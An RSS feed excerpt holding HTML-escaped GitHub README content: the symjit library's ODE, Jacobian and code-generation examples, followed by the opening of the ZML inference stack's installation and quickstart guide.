&lt;span&gt;import&lt;/span&gt; &lt;span&gt;matplotlib&lt;/span&gt;.&lt;span&gt;pyplot&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;plt&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;numpy&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;sympy&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;symjit&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;compile_ode&lt;/span&gt;

&lt;span&gt;t&lt;/span&gt;, &lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;(&lt;span&gt;&amp;#39;t x y&amp;#39;&lt;/span&gt;)
&lt;span&gt;f&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;compile_ode&lt;/span&gt;(&lt;span&gt;t&lt;/span&gt;, (&lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;), (&lt;span&gt;y&lt;/span&gt;, &lt;span&gt;-&lt;/span&gt;&lt;span&gt;x&lt;/span&gt;))
&lt;span&gt;t_eval&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;np&lt;/span&gt;.&lt;span&gt;arange&lt;/span&gt;(&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;10&lt;/span&gt;, &lt;span&gt;0.01&lt;/span&gt;)
&lt;span&gt;sol&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;scipy&lt;/span&gt;.&lt;span&gt;integrate&lt;/span&gt;.&lt;span&gt;solve_ivp&lt;/span&gt;(&lt;span&gt;f&lt;/span&gt;, (&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;10&lt;/span&gt;), (&lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;1.0&lt;/span&gt;), &lt;span&gt;t_eval&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;t_eval&lt;/span&gt;)

&lt;span&gt;plt&lt;/span&gt;.&lt;span&gt;plot&lt;/span&gt;(&lt;span&gt;t_eval&lt;/span&gt;, &lt;span&gt;sol&lt;/span&gt;.&lt;span&gt;y&lt;/span&gt;.&lt;span&gt;T&lt;/span&gt;)&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, the ODE definition is &lt;code&gt;x&amp;#39; = y&lt;/code&gt; and &lt;code&gt;y&amp;#39; = -x&lt;/code&gt;, which means &lt;code&gt;y&amp;quot; = y&lt;/code&gt;. The solution is &lt;code&gt;a*sin(t) + b*cos(t)&lt;/code&gt;, where &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; are determined by the initial values. Given the initial values of 0 and 1 passed as the third argument of &lt;code&gt;solve_ivp&lt;/code&gt;, the solutions are &lt;code&gt;sin(t)&lt;/code&gt; and &lt;code&gt;cos(t)&lt;/code&gt;. We can confirm this by running the code. The output is&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/figures/trig.png&quot;&gt;&lt;img src=&quot;https://github.com/siravan/symjit/raw/v218/figures/trig.png&quot; alt=&quot;sin/cos functions&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Note that &lt;code&gt;OdeFunc&lt;/code&gt; conforms to the function form &lt;code&gt;scipy.integrate.solve_ivp&lt;/code&gt; expects, i.e., it should be called as &lt;code&gt;f(t, y, *args)&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The following example is more complicated and showcases the &lt;a href=&quot;https://en.wikipedia.org/wiki/Lorenz_system&quot;&gt;Lorenz system&lt;/a&gt;, an important milestone in the historical development of chaos theory.&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;import&lt;/span&gt; &lt;span&gt;numpy&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;scipy&lt;/span&gt;.&lt;span&gt;integrate&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;solve_ivp&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;matplotlib&lt;/span&gt;.&lt;span&gt;pyplot&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;plt&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;sympy&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;

&lt;span&gt;from&lt;/span&gt; &lt;span&gt;symjit&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;compile_ode&lt;/span&gt;

&lt;span&gt;t&lt;/span&gt;, &lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;, &lt;span&gt;z&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;(&lt;span&gt;&amp;quot;t x y z&amp;quot;&lt;/span&gt;)
&lt;span&gt;sigma&lt;/span&gt;, &lt;span&gt;rho&lt;/span&gt;, &lt;span&gt;beta&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;(&lt;span&gt;&amp;quot;sigma rho beta&amp;quot;&lt;/span&gt;)

&lt;span&gt;ode&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; (
    &lt;span&gt;sigma&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; (&lt;span&gt;y&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;x&lt;/span&gt;),
    &lt;span&gt;x&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; (&lt;span&gt;rho&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;z&lt;/span&gt;) &lt;span&gt;-&lt;/span&gt; &lt;span&gt;y&lt;/span&gt;,
    &lt;span&gt;x&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;y&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;beta&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;z&lt;/span&gt;
    )

&lt;span&gt;f&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;compile_ode&lt;/span&gt;(&lt;span&gt;t&lt;/span&gt;, (&lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;, &lt;span&gt;z&lt;/span&gt;), &lt;span&gt;ode&lt;/span&gt;, &lt;span&gt;params&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;(&lt;span&gt;sigma&lt;/span&gt;, &lt;span&gt;rho&lt;/span&gt;, &lt;span&gt;beta&lt;/span&gt;))

&lt;span&gt;u0&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; (&lt;span&gt;1.0&lt;/span&gt;, &lt;span&gt;1.0&lt;/span&gt;, &lt;span&gt;1.0&lt;/span&gt;)
&lt;span&gt;p&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; (&lt;span&gt;10.0&lt;/span&gt;, &lt;span&gt;28.0&lt;/span&gt;, &lt;span&gt;8&lt;/span&gt; &lt;span&gt;/&lt;/span&gt; &lt;span&gt;3&lt;/span&gt;)
&lt;span&gt;t_eval&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;.&lt;span&gt;arange&lt;/span&gt;(&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;100&lt;/span&gt;, &lt;span&gt;0.01&lt;/span&gt;)

&lt;span&gt;sol&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;solve_ivp&lt;/span&gt;(&lt;span&gt;f&lt;/span&gt;, (&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;100.0&lt;/span&gt;), &lt;span&gt;u0&lt;/span&gt;, &lt;span&gt;t_eval&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;t_eval&lt;/span&gt;, &lt;span&gt;args&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;)

&lt;span&gt;plt&lt;/span&gt;.&lt;span&gt;plot&lt;/span&gt;(&lt;span&gt;sol&lt;/span&gt;.&lt;span&gt;y&lt;/span&gt;[&lt;span&gt;0&lt;/span&gt;, :], &lt;span&gt;sol&lt;/span&gt;.&lt;span&gt;y&lt;/span&gt;[&lt;span&gt;2&lt;/span&gt;, :])&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The result is the famous &lt;em&gt;strange attractor&lt;/em&gt;:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/figures/lorenz.png&quot;&gt;&lt;img src=&quot;https://github.com/siravan/symjit/raw/v218/figures/lorenz.png&quot; alt=&quot;the strange attractor&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;h2&gt;&lt;code&gt;compile_jac&lt;/code&gt;: calculating Jacobian&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;The ODE examples discussed in the previous section are non-stiff and easy to solve using explicit methods. However, not all differential equations are so accommodating! Many important equations are stiff and usually require implicit methods. Many implicit ODE solvers use the system&amp;#39;s &lt;a href=&quot;https://en.wikipedia.org/wiki/Jacobian_matrix_and_determinant&quot;&gt;Jacobian matrix&lt;/a&gt; to improve performance.&lt;/p&gt;&lt;p&gt;There are different techniques for calculating the Jacobian. In the last few years, automatic differentiation (AD) methods have gained popularity, working at the abstract syntax tree or lower level. However, if we define our model symbolically using a Computer Algebra System (CAS) such as SymPy, we can calculate the Jacobian by differentiating the source symbolic expressions.&lt;/p&gt;&lt;p&gt;&lt;code&gt;compile_jac&lt;/code&gt; is the symjit function to calculate the Jacobian of an ODE system. It has the same call signature as &lt;code&gt;compile_ode,&lt;/code&gt; i.e., it is called &lt;code&gt;compile_jac(iv, states, odes)&lt;/code&gt; with an optional argument &lt;code&gt;params.&lt;/code&gt; The return value (of type &lt;code&gt;JacFunc&lt;/code&gt;) is a callable similar to &lt;code&gt;OdeFunc&lt;/code&gt;, which returns an n-by-n matrix J, where n is the number of states. The element at the ith row and jth column of J is the derivative of &lt;code&gt;odes[i]&lt;/code&gt; w.r.t &lt;code&gt;state[j]&lt;/code&gt; (this is the definition of Jacobian).&lt;/p&gt;&lt;p&gt;For example, we can consider the &lt;a href=&quot;https://en.wikipedia.org/wiki/Van_der_Pol_oscillator&quot;&gt;Van der Pol oscillator&lt;/a&gt;. This system has a control parameter (mu). For small values of mu, the ODE system is not stiff and can easily be solved using explicit methods.&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;import&lt;/span&gt; &lt;span&gt;matplotlib&lt;/span&gt;.&lt;span&gt;pyplot&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;plt&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;numpy&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;scipy&lt;/span&gt;.&lt;span&gt;integrate&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;solve_ivp&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;sympy&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;math&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;sqrt&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;symjit&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;compile_ode&lt;/span&gt;, &lt;span&gt;compile_jac&lt;/span&gt;

&lt;span&gt;t&lt;/span&gt;, &lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;, &lt;span&gt;mu&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;symbols&lt;/span&gt;(&lt;span&gt;&amp;#39;t x y mu&amp;#39;&lt;/span&gt;)
&lt;span&gt;ode&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; [&lt;span&gt;y&lt;/span&gt;, &lt;span&gt;mu&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; ((&lt;span&gt;1&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;x&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;x&lt;/span&gt;) &lt;span&gt;*&lt;/span&gt; &lt;span&gt;y&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;x&lt;/span&gt;)]

&lt;span&gt;f&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;compile_ode&lt;/span&gt;(&lt;span&gt;t&lt;/span&gt;, [&lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;], &lt;span&gt;ode&lt;/span&gt;, &lt;span&gt;params&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;[&lt;span&gt;mu&lt;/span&gt;])
&lt;span&gt;u0&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; [&lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;sqrt&lt;/span&gt;(&lt;span&gt;3.0&lt;/span&gt;)]
&lt;span&gt;t_eval&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;np&lt;/span&gt;.&lt;span&gt;arange&lt;/span&gt;(&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;10.0&lt;/span&gt;, &lt;span&gt;0.01&lt;/span&gt;)

&lt;span&gt;sol1&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;solve_ivp&lt;/span&gt;(&lt;span&gt;f&lt;/span&gt;, (&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;10.0&lt;/span&gt;), &lt;span&gt;u0&lt;/span&gt;, &lt;span&gt;method&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&amp;#39;RK45&amp;#39;&lt;/span&gt;, &lt;span&gt;t_eval&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;t_eval&lt;/span&gt;, &lt;span&gt;args&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;[&lt;span&gt;5.0&lt;/span&gt;])

&lt;span&gt;plt&lt;/span&gt;.&lt;span&gt;plot&lt;/span&gt;(&lt;span&gt;t_eval&lt;/span&gt;, &lt;span&gt;sol1&lt;/span&gt;.&lt;span&gt;y&lt;/span&gt;[&lt;span&gt;0&lt;/span&gt;,:])&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The output is&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/figures/van_der_pol_non_stiff.png&quot;&gt;&lt;img src=&quot;https://github.com/siravan/symjit/raw/v218/figures/van_der_pol_non_stiff.png&quot; alt=&quot;non-stiff Van der Pol&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;On the other hand, as mu is increased (for example, to 1e6), the system becomes very stiff. An explicit ODE solver, such as RK45 (Runge-Kutta 4/5), cannot solve this problem. Instead, we need an implicit method, such as the backward differentiation formula (BDF). BDF needs a Jacobian. If one is not provided, it numerically calculates one using the finite-difference method. However, this technique is both inaccurate and computationally intensive. It would be much better to give the solver a closed-form Jacobian. As mentioned above, &lt;code&gt;calculate_jac&lt;/code&gt; exactly does this.&lt;/p&gt;&lt;p&gt;The output of the stiff system is&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/figures/van_der_pol_stiff.png&quot;&gt;&lt;img src=&quot;https://github.com/siravan/symjit/raw/v218/figures/van_der_pol_stiff.png&quot; alt=&quot;non-stiff Van der Pol&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;h1&gt;Advanced Features&lt;/h1&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Explicit Looping&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;SymJit supports construction of explicit loops using &lt;code&gt;Sum&lt;/code&gt; and &lt;code&gt;Product&lt;/code&gt; operators. The syntax follows sympy&amp;#39;s syntax. For example, we can define the factorial function as&lt;/p&gt;&lt;p&gt;The looping operators can be nested:&lt;/p&gt;&lt;p&gt;Note that for &lt;code&gt;Sum&lt;/code&gt; and &lt;code&gt;Product&lt;/code&gt;, the range follows the mathematical convention of including the last expression, i.e., &lt;code&gt;(x, 1, 3)&lt;/code&gt; means &lt;code&gt;x&lt;/code&gt; assumes values of &lt;code&gt;1, 2, 3&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Calling Other Functions&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;SymJit also allows calling other simple SymJit or Python functions. Currently, only functions that accept one or two double arguments and return a double result are supported; therefore, only SymJit functions defined as &lt;em&gt;fast&lt;/em&gt; as allowed, see &lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/docs/OPTIMIZATION.md&quot;&gt;Optimization&lt;/a&gt;. To pass a function, we need to define a placeholder symbol using SymPy&amp;#39;s &lt;code&gt;Function&lt;/code&gt; constructor. Then, we pass a dictionary of &lt;code&gt;Function&lt;/code&gt;s and their definitions as an argument &lt;code&gt;defuns&lt;/code&gt; to &lt;code&gt;compile_*&lt;/code&gt; functions. For example, we can rewrite &lt;code&gt;my_exp&lt;/code&gt; function above as&lt;/p&gt;&lt;p&gt;It is also possible to pass Python functions:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;def&lt;/span&gt; &lt;span&gt;print_res&lt;/span&gt;(&lt;span&gt;x&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;):
    &lt;span&gt;print&lt;/span&gt;(&lt;span&gt;x&lt;/span&gt;, &lt;span&gt;&amp;#39;: &amp;#39;&lt;/span&gt;, &lt;span&gt;y&lt;/span&gt;)
    &lt;span&gt;return&lt;/span&gt; &lt;span&gt;x&lt;/span&gt;

&lt;span&gt;P&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;Function&lt;/span&gt;(&lt;span&gt;&amp;#39;P&amp;#39;&lt;/span&gt;)
&lt;span&gt;f&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;compile_func&lt;/span&gt;([&lt;span&gt;x&lt;/span&gt;], &lt;span&gt;Sum&lt;/span&gt;(&lt;span&gt;P&lt;/span&gt;(&lt;span&gt;y&lt;/span&gt;, &lt;span&gt;sin&lt;/span&gt;(&lt;span&gt;y&lt;/span&gt;)), (&lt;span&gt;y&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;x&lt;/span&gt;)), &lt;span&gt;defuns&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;{&lt;span&gt;P&lt;/span&gt;: &lt;span&gt;print_res&lt;/span&gt;})

&lt;span&gt;f&lt;/span&gt;(&lt;span&gt;5&lt;/span&gt;)    &lt;span&gt;# returns&lt;/span&gt;
&lt;span&gt;# 1.0 :  0.8414709848078965&lt;/span&gt;
&lt;span&gt;# 2.0 :  0.9092974268256817&lt;/span&gt;
&lt;span&gt;# 3.0 :  0.1411200080598672&lt;/span&gt;
&lt;span&gt;# 4.0 :  -0.7568024953079282&lt;/span&gt;
&lt;span&gt;# 5.0 :  -0.9589242746631385&lt;/span&gt;
&lt;span&gt;# 15.0&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Warning! When &lt;code&gt;use_threads&lt;/code&gt; option is set to &lt;code&gt;True&lt;/code&gt; (which is the default), SymJit uses multi-threading for array inputs. Calling a Python function
in this situation can cause all sort of problems because of the Global Interpreter Lock (GIL). Python 3.14 has removed GIL; therefore, multi-threading
is possible, but still needs extreme caution due to various race conditions. Used correctly, SymJit multi-threading can be useful as a thread-dispatcher; however, preventing race condition is the responsibility of the user.&lt;/p&gt;&lt;div&gt;&lt;h1&gt;Code Generation&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;All &lt;code&gt;compile_*&lt;/code&gt; functions accept an optional parameter &lt;code&gt;ty&lt;/code&gt;, which defines the type of the code to generate. Currently, the possible values are:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;amd&lt;/code&gt;: generates 64-bit AMD64/x86-64 code. If the processor supports AVX, then this is equivalent to passing &lt;code&gt;amd-avx&lt;/code&gt;; otherwise, it is equal to &lt;code&gt;amd-sse&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;amd-avx&lt;/code&gt;: generates 64-bit AMD64/x86-64 AVX code.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;amd-sse&lt;/code&gt;: generates 64-bit AMD64/x86-64 SSE code. It requires a minimum SSE2.1 specification, which should be easily fulfilled by all except the most ancient processors (will be deprecated in version 3.0).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arm&lt;/code&gt; generates 64-bit ARM64/aarch64 code. This option is mainly tested on Apple Silicon.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;riscv&lt;/code&gt; generates 64-bit RISC-V code. This option is tested on a computer running XuanTie C910 RISC-V with an RV64GC architecture.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bytecode&lt;/code&gt;: this option uses a generic and simple bytecode evaluator as a fallback option in case of unsupported instruction sets. The utility is to test correctness, not speed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;native&lt;/code&gt; (&lt;strong&gt;default&lt;/strong&gt;): selects the correct instruction set based on the current processor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;debug&lt;/code&gt;: deprecated.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Note that &lt;code&gt;ty=&amp;#39;wasm&amp;#39;&lt;/code&gt; is no longer supported in version 2. Also, as discussed above, &lt;code&gt;compile_*&lt;/code&gt; functions accept a &lt;code&gt;backend&lt;/code&gt; argument with possible values of &lt;code&gt;rust&lt;/code&gt; and &lt;code&gt;python&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;h1&gt;Saving Models&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;It is possible to save a compiled function using its &lt;code&gt;save(file_name)&lt;/code&gt; method. To load such a model, use &lt;code&gt;load_func(file_name)&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;Note that the list of external functions, if not empty, needs to be passed to &lt;code&gt;load_func&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Code Inspection&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;You can inspect the generate intermediate form (IR) and machine code. Refer to &lt;a href=&quot;https://github.com/siravan/symjit/blob/v218/docs/INSPECTION.md&quot;&gt;Inspection&lt;/a&gt; for details.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>GitHub - zml/zml: Any model. Any hardware. Zero compromise. Built with @ziglang / @openxla / MLIR / @bazelbuild · GitHub</title>
<link>https://github.com/zml/zml</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/bf49d1676a1701dd6a62cfcae2c290e44a704e61ebb2b5f4c8c512bf0ee85cbe/zml/zml"></enclosure>
<guid isPermaLink="false">wf9V-45jYC5n_PHE4GGcxzNMAJqf_8F9EznWbw==</guid>
<pubDate>Sat, 06 Jun 2026 05:32:03 +0000</pubDate>
<description>Any model. Any hardware. Zero compromise. Built with @ziglang / @openxla / MLIR / @bazelbuild - zml/zml</description>
<content:encoded>&lt;div&gt;
  &lt;a href=&quot;https://raw.githubusercontent.com/zml/zml.github.io/refs/heads/main/docs-assets/zml-banner.png&quot;&gt;&lt;img src=&quot;https://raw.githubusercontent.com/zml/zml.github.io/refs/heads/main/docs-assets/zml-banner.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
  &lt;a href=&quot;https://zml.ai&quot;&gt;Website&lt;/a&gt;
  | Getting Started
  | &lt;a href=&quot;https://github.com/zml/zml/blob/master/docs/README.md&quot;&gt;Documentation&lt;/a&gt;
  | &lt;a href=&quot;https://discord.gg/6y72SN2E7H&quot;&gt;Discord&lt;/a&gt;
  | &lt;a href=&quot;https://github.com/zml/zml/blob/master/CONTRIBUTING.md&quot;&gt;Contributing&lt;/a&gt;
&lt;/div&gt;&lt;div&gt;&lt;h1&gt;About&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;ZML is a production inference stack, purpose-built to decouple AI workloads from proprietary hardware.&lt;/p&gt;&lt;p&gt;Any model, many hardwares, one codebase, peak performance.&lt;/p&gt;&lt;p&gt;Compiled directly to NVIDIA, AMD, TPU, Trainium for peak hardware performance on any accelerator. No rewriting.&lt;/p&gt;&lt;p&gt;It is built using the
&lt;a href=&quot;https://ziglang.org&quot;&gt;Zig&lt;/a&gt; language, &lt;a href=&quot;https://mlir.llvm.org&quot;&gt;MLIR&lt;/a&gt;, and &lt;a href=&quot;https://bazel.build&quot;&gt;Bazel&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;h1&gt;Getting Started&lt;/h1&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Prerequisites&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;We use &lt;code&gt;bazel&lt;/code&gt; to build ZML and its dependencies. The only prerequisite is
&lt;code&gt;bazel&lt;/code&gt;, which we recommend installing through &lt;code&gt;bazelisk&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;macOS&lt;/h3&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;brew install bazelisk&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;Linux&lt;/h3&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;curl -L -o /usr/local/bin/bazel &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;https://github.com/bazelbuild/bazelisk/releases/download/v1.28.0/bazelisk-linux-amd64&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;
chmod +x /usr/local/bin/bazel&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;30-Second Smoke Test&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Run the MNIST example:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;bazel run //examples/mnist&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This downloads a small pretrained MNIST model, compiles it, loads the weights, and
classifies a random handwritten digit.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;LLM Quickstart&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;The main LLM example is &lt;a href=&quot;https://github.com/zml/zml/blob/master/examples/llm&quot;&gt;&lt;code&gt;//examples/llm&lt;/code&gt;&lt;/a&gt;. It currently supports:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Llama 3.1 / 3.2&lt;/li&gt;
&lt;li&gt;Qwen 3.5&lt;/li&gt;
&lt;li&gt;LFM 2.5&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Authenticate with Hugging Face if you want to load gated repos such as Meta
Llama:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;bazel run //tools/hf -- auth login&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Alternatively, set the &lt;code&gt;HF_TOKEN&lt;/code&gt; environment variable.&lt;/p&gt;&lt;p&gt;Then run a prompt directly:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;bazel run //examples/llm -- --model=hf://meta-llama/Llama-3.2-1B-Instruct --prompt=&lt;span&gt;&lt;span&gt;&amp;quot;&lt;/span&gt;What is the capital of France?&lt;span&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Open the interactive chat loop by omitting &lt;code&gt;--prompt&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;bazel run //examples/llm -- --model=hf://meta-llama/Llama-3.2-1B-Instruct&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can also load from:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;a local directory: &lt;code&gt;--model=/var/models/meta-llama/Llama-3.2-1B-Instruct&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;S3: &lt;code&gt;--model=s3://bucket/path/to/model&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;Running Models on GPU / TPU&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Append one or more platform flags when compiling or running:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;NVIDIA CUDA: &lt;code&gt;--@zml//platforms:cuda=true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;AMD RoCM: &lt;code&gt;--@zml//platforms:rocm=true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Google TPU: &lt;code&gt;--@zml//platforms:tpu=true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;AWS Trainium / Inferentia 2: &lt;code&gt;--@zml//platforms:neuron=true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Disable CPU compilation: &lt;code&gt;--@zml//platforms:cpu=false&lt;/code&gt;&lt;/li&gt;
